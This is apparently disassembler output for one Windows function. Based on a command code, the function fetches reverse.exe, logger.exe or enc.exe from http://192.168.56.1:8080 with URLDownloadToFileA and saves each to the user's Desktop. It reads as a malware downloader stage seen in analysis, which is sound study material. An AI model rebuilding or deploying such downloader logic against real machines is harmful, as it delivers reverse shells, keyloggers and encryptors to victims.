Function at 0x140003060
Capabilities:
Download url
Receive data

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp + 0x20], rcx
mov dword [rbp + 0x28], edx
cmp dword [rbp + 0x28], 1
jne 0x14000313b
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
mov edx, eax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11.to_string_int_
mov rax, qword [rbp + 0x20]
add rax, 8
lea rdx, str.http:__192.168.56.1:8080_reverse.exe_
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
mov rax, qword [rbp + 0x20]
lea rcx, [rax + 8]
lea rax, [rbp - 0x20]
mov rdx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rax, qword [rbp + 0x20]
add rax, 0x48
lea rdx, str.C:usersuserDesktop_reverse.exe
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
mov rax, qword [rbp + 0x20]
add rax, 0x48
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rbx, rax
mov rax, qword [rbp + 0x20]
add rax, 8
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rbx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov rdx, qword [rbp + 0x20]
mov dword [rdx], eax
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140003318
cmp dword [rbp + 0x28], 2
jne 0x140003204
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
mov edx, eax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11.to_string_int_
mov rax, qword [rbp + 0x20]
add rax, 8
lea rdx, str.http:__192.168.56.1:8080_logger.exe_
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
mov rax, qword [rbp + 0x20]
lea rcx, [rax + 8]
lea rax, [rbp - 0x20]
mov rdx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rax, qword [rbp + 0x20]
add rax, 0x48
lea rdx, str.C:usersuserDesktoplogger.exe
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
mov rax, qword [rbp + 0x20]
add rax, 0x48
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rbx, rax
mov rax, qword [rbp + 0x20]
add rax, 8
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rbx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov rdx, qword [rbp + 0x20]
mov dword [rdx], eax
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140003318
cmp dword [rbp + 0x28], 3
jne 0x140003318
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
mov edx, eax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11.to_string_int_
mov rax, qword [rbp + 0x20]
add rax, 8
lea rdx, str.http:__192.168.56.1:8080_enc.exe_
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
mov rax, qword [rbp + 0x20]
lea rcx, [rax + 8]
lea rax, [rbp - 0x20]
mov rdx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rax, qword [rbp + 0x20]
add rax, 0x48
lea rdx, str.C:usersuserDesktopenc.exe
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
mov rax, qword [rbp + 0x20]
add rax, 0x48
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rbx, rax
mov rax, qword [rbp + 0x20]
add rax, 8
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rbx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov rdx, qword [rbp + 0x20]
mov dword [rdx], eax
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140003318
nop
add rsp, 0x58
pop rbx
pop rbp
ret